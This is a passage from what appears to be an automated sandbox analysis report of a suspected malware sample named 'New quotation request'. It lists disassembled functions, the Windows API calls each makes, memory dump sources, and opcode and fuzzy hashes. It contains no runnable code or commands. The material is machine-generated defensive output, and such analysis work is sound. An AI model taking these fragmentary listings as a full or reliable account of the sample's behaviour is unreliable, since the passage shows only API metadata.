                                                                    • Opcode Fuzzy Hash: a4c967bc7504407236bd022b08a9956bcfcc83915accf77fbcaea4c30ec487bc
                                                                    • Instruction Fuzzy Hash: 64310A31A01642AFDB3BCF71CC96BB67BACAB01310F550169E425C30F5E77594A9D7A0
                                                                    Function 00308A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowRect.USER32(?,?), ref: 00308A30
                                                                    • PostMessageW.USER32(?,00000201,00000001), ref: 00308ADA
                                                                    • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00308AE2
                                                                    • PostMessageW.USER32(?,00000202,00000000), ref: 00308AF0
                                                                    • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00308AF8
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePostSleep$RectWindow
                                                                    • String ID:
                                                                    • API String ID: 3382505437-0
                                                                    • Opcode ID: a53c5673f4d1bd9c40210ecd85f287efd384c25d1a68cdab791a07ddd89a3f8a
                                                                    • Instruction ID: 9ff2100552f734656a58ffcd97da8af01c3a95be75d6b21fd14b8b2b50d4bbae
                                                                    • Opcode Fuzzy Hash: a53c5673f4d1bd9c40210ecd85f287efd384c25d1a68cdab791a07ddd89a3f8a
                                                                    • Instruction Fuzzy Hash: EA310071A00219EFCF00CFA8D98DA9E7BB9EB04315F10822AF865EA1D0C7B09914CB90
                                                                    Function 0030B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsWindowVisible.USER32(?), ref: 0030B204
                                                                    • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0030B221
                                                                    • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0030B259
                                                                    • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0030B27F
                                                                    • _wcsstr.LIBCMT ref: 0030B289
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                                    • String ID:
                                                                    • API String ID: 3902887630-0
                                                                    • Opcode ID: adcca1f2bce1b50a95ceca4ce90e6a85700cee35b1c611a812da59822b518f33
                                                                    • Instruction ID: 8faa5625be83c1017df39059c4bbbc3f181ec166b41a14c9d26c5fb78e1ca7ed
                                                                    • Opcode Fuzzy Hash: adcca1f2bce1b50a95ceca4ce90e6a85700cee35b1c611a812da59822b518f33
                                                                    • Instruction Fuzzy Hash: BE212931605200BBEB169B79DC59E7FBBACDF49710F01813AF804DA1E1EF61DC509660
                                                                    Function 0033B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0033B192
                                                                    • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0033B1B7
                                                                    • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0033B1CF
                                                                    • GetSystemMetrics.USER32(00000004), ref: 0033B1F8
                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00320E90,00000000), ref: 0033B216
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Long$MetricsSystem
                                                                    • String ID:
                                                                    • API String ID: 2294984445-0
                                                                    • Opcode ID: fde1915d927970345e349df94a38371140fe153b872df766c3dcf18c489d69df
                                                                    • Instruction ID: e301e6de250ac920d5bb80360f7163b30aaefe1a89e8dd2031f42a90e3d679df
                                                                    • Opcode Fuzzy Hash: fde1915d927970345e349df94a38371140fe153b872df766c3dcf18c489d69df
                                                                    • Instruction Fuzzy Hash: 5F219171E10655EFCB269F389C84A6AB7A8FB05361F124B28FA36D71E0D73098508B90
                                                                    Function 00309307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00309320
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00309352
                                                                    • __itow.LIBCMT ref: 0030936A
                                                                    • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00309392
                                                                    • __itow.LIBCMT ref: 003093A3
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$__itow$_memmove
                                                                    • String ID:
                                                                    • API String ID: 2983881199-0
                                                                    • Opcode ID: 3054bda6750122cd8814df3a21bec56e39035004611d723fdc75d1f1f375a11c
                                                                    • Instruction ID: 81d582f3dd84934649199fb155db14eaec9460dbac2de913500746feade4971c
                                                                    • Opcode Fuzzy Hash: 3054bda6750122cd8814df3a21bec56e39035004611d723fdc75d1f1f375a11c
                                                                    • Instruction Fuzzy Hash: FB21DA35B02204ABDB129B649C96FEF7BADEB88710F044066F905DB1D2D670CD518F91
                                                                    Function 00325A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsWindow.USER32(00000000), ref: 00325A6E
                                                                    • GetForegroundWindow.USER32 ref: 00325A85
                                                                    • GetDC.USER32(00000000), ref: 00325AC1
                                                                    • GetPixel.GDI32(00000000,?,00000003), ref: 00325ACD
                                                                    • ReleaseDC.USER32(00000000,00000003), ref: 00325B08
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ForegroundPixelRelease
                                                                    • String ID:
                                                                    • API String ID: 4156661090-0
                                                                    • Opcode ID: c8e3228be9b213c08453514e44adab907a7d4109090d0548524ae276e420b712
                                                                    • Instruction ID: 3f74aeaf8213db85ff9f2d1847549747af3de84653fe7a0e4fd79f481f94c9ed
                                                                    • Opcode Fuzzy Hash: c8e3228be9b213c08453514e44adab907a7d4109090d0548524ae276e420b712
                                                                    • Instruction Fuzzy Hash: D421A135A00504AFD705EF65EC89A9ABBF9EF48350F148079F80997362CB34ED40CB90
                                                                    Function 002B12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002B134D
                                                                    • SelectObject.GDI32(?,00000000), ref: 002B135C
                                                                    • BeginPath.GDI32(?), ref: 002B1373
                                                                    • SelectObject.GDI32(?,00000000), ref: 002B139C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ObjectSelect$BeginCreatePath
                                                                    • String ID:
                                                                    • API String ID: 3225163088-0
                                                                    • Opcode ID: 0dc3598a3b94bc5110342bc01b45d8f7a0d1f18fa4fc5d8ca67e31ef5468e473
                                                                    • Instruction ID: a244b01edc1dc6d5af31e8905cb866aafd3954d6cec5391e6bd1e52d225010a7
                                                                    • Opcode Fuzzy Hash: 0dc3598a3b94bc5110342bc01b45d8f7a0d1f18fa4fc5d8ca67e31ef5468e473
                                                                    • Instruction Fuzzy Hash: 14217F30D20609EFDB268F65DD447A93BECEB00351F98426AE814961B1E3B098F1CF51
                                                                    Function 0030BC9E Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memcmp
                                                                    • String ID:
                                                                    • API String ID: 2931989736-0
                                                                    • Opcode ID: d9d4a1b1e109cbaf162b1ae59d2211658ae1ea3983565cfbe6f9bdb4c400d8e4
                                                                    • Instruction ID: 1410af9d4b4be9f7be50537409582aafa2d522203e9957997d6705d5b6e67f22
                                                                    • Opcode Fuzzy Hash: d9d4a1b1e109cbaf162b1ae59d2211658ae1ea3983565cfbe6f9bdb4c400d8e4
                                                                    • Instruction Fuzzy Hash: BA01FC716021097BE206AB116D92FFBF75CDE25788F084025FD05AB783FB50EE3086A0
                                                                    Function 00314A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentThreadId.KERNEL32 ref: 00314ABA
                                                                    • __beginthreadex.LIBCMT ref: 00314AD8
                                                                    • MessageBoxW.USER32(?,?,?,?), ref: 00314AED
                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00314B03
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00314B0A
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                                                    • String ID:
                                                                    • API String ID: 3824534824-0
                                                                    • Opcode ID: 3c9c13580fda1005ad2b2ae4e6716d4d9e4e57fb8296fcf9ba0b3c52d7e1f558
                                                                    • Instruction ID: 0a604ecbc05941d590150c55b4542fe5e60ef3e142d17992e4ab097eb414595d
                                                                    • Opcode Fuzzy Hash: 3c9c13580fda1005ad2b2ae4e6716d4d9e4e57fb8296fcf9ba0b3c52d7e1f558
                                                                    • Instruction Fuzzy Hash: 01110C76D08204BFD7179FA8EC44ADB7FACEB49321F144269F814D3251D671CD448BA0
                                                                    Function 00308202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0030821E
                                                                    • GetLastError.KERNEL32(?,00307CE2,?,?,?), ref: 00308228
                                                                    • GetProcessHeap.KERNEL32(00000008,?,?,00307CE2,?,?,?), ref: 00308237
                                                                    • HeapAlloc.KERNEL32(00000000,?,00307CE2,?,?,?), ref: 0030823E
                                                                    • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00308255
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                                    • String ID:
                                                                    • API String ID: 842720411-0
                                                                    • Opcode ID: be3cfab37465a7e0ce67edc5fb9351828df6da76b0655804afaacb18b0cb1bee
                                                                    • Instruction ID: 41c03e19624115d6c881422b0fb3a6c855f56c07ba10d29a4c65564ed452356d
                                                                    • Opcode Fuzzy Hash: be3cfab37465a7e0ce67edc5fb9351828df6da76b0655804afaacb18b0cb1bee
                                                                    • Instruction Fuzzy Hash: 7E016271A01604FFDB124FA6DC88D677B6CEF85754F500829F849C2160DA318C10DA60
                                                                    Function 0030710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?,?,?,00307455), ref: 00307127
                                                                    • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?,?), ref: 00307142
                                                                    • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?,?), ref: 00307150
                                                                    • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?), ref: 00307160
                                                                    • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?,?), ref: 0030716C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                    • String ID:
                                                                    • API String ID: 3897988419-0
                                                                    • Opcode ID: 8576d1cd46d56cda0abc2ca59efeb622d0bbfb0fea03a59fedfc4a38c6c6b6f8
                                                                    • Instruction ID: 836b5bfeaf57489a4f7976d5654e484c2ce412257b827ec6eaf4b693cccb8269
                                                                    • Opcode Fuzzy Hash: 8576d1cd46d56cda0abc2ca59efeb622d0bbfb0fea03a59fedfc4a38c6c6b6f8
                                                                    • Instruction Fuzzy Hash: 0A017C76A02204BFDB1A4F64DC84AAA7BBDEB447A1F150065FD08D62A0D731ED41DBA0
                                                                    Function 00315244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00315260
                                                                    • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0031526E
                                                                    • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00315276
                                                                    • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00315280
                                                                    • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003152BC
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                    • String ID:
                                                                    • API String ID: 2833360925-0
                                                                    • Opcode ID: a7f0f0d90f2bdf0e2686b3102411b7545abff3647ebebccb1f883c0d1d69929a
                                                                    • Instruction ID: 6aade422e5b86be4b9796ee3e5fb8f281e1dcb062133a41433b2f8a0dbf65a93
                                                                    • Opcode Fuzzy Hash: a7f0f0d90f2bdf0e2686b3102411b7545abff3647ebebccb1f883c0d1d69929a
                                                                    • Instruction Fuzzy Hash: E1015732D01A19DBCF06EFE4E8899EEBB7CBB4D311F810856E945F2140CB3059958BA1
                                                                    Function 0030810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00308121
                                                                    • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0030812B
                                                                    • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0030813A
                                                                    • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00308141
                                                                    • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00308157
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                    • String ID:
                                                                    • API String ID: 44706859-0
                                                                    • Opcode ID: 0964672e0798e417d6289bc31048dc8a6dff8d295cb5091daff51f1256726705
                                                                    • Instruction ID: 1f2294bd776ac2e18d926a5bba0081cd2f4c403ed50387a89e733d264a08eb82
                                                                    • Opcode Fuzzy Hash: 0964672e0798e417d6289bc31048dc8a6dff8d295cb5091daff51f1256726705
                                                                    • Instruction Fuzzy Hash: 1EF06275601304BFEB160FA5ECD8E673BACFF49754F400025F985C61A0CB61DD55DA60
                                                                    Function 0030C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDlgItem.USER32(?,000003E9), ref: 0030C1F7
                                                                    • GetWindowTextW.USER32(00000000,?,00000100), ref: 0030C20E
                                                                    • MessageBeep.USER32(00000000), ref: 0030C226
                                                                    • KillTimer.USER32(?,0000040A), ref: 0030C242
                                                                    • EndDialog.USER32(?,00000001), ref: 0030C25C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                    • String ID:
                                                                    • API String ID: 3741023627-0
                                                                    • Opcode ID: ae1acaf8224d646c454f640a336360cf77e34eec5818e280ab09390a3e3bac52
                                                                    • Instruction ID: 43e43065a64e69c435378ec191ae648acc219cd04bef4687102b1c393b2ccbac
                                                                    • Opcode Fuzzy Hash: ae1acaf8224d646c454f640a336360cf77e34eec5818e280ab09390a3e3bac52
                                                                    • Instruction Fuzzy Hash: E501A730814704ABEB225B60DD9EB96777CBB00705F400669A582918E0D7E469548B50
                                                                    Function 002B13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • EndPath.GDI32(?), ref: 002B13BF
                                                                    • StrokeAndFillPath.GDI32(?,?,002EB888,00000000,?), ref: 002B13DB
                                                                    • SelectObject.GDI32(?,00000000), ref: 002B13EE
                                                                    • DeleteObject.GDI32 ref: 002B1401
                                                                    • StrokePath.GDI32(?), ref: 002B141C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                    • String ID:
                                                                    • API String ID: 2625713937-0
                                                                    • Opcode ID: 4dcad25771a95bd6e94ba09e87eaf3806e7d8cee838206b4ffa17628fa7151ff
                                                                    • Instruction ID: c2418fffedb65881f006ff8f2acb436ba53c5a017d195a3270e06b96d42d8d54
                                                                    • Opcode Fuzzy Hash: 4dcad25771a95bd6e94ba09e87eaf3806e7d8cee838206b4ffa17628fa7151ff
                                                                    • Instruction Fuzzy Hash: 51F0FB30511A09EFDB2B5F1AED887983FA8E701366F488224E429480B2C77045F5DF11
                                                                    Function 0031C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CoInitialize.OLE32(00000000), ref: 0031C432
                                                                    • CoCreateInstance.OLE32(00342D6C,00000000,00000001,00342BDC,?), ref: 0031C44A
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    • CoUninitialize.OLE32 ref: 0031C6B7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
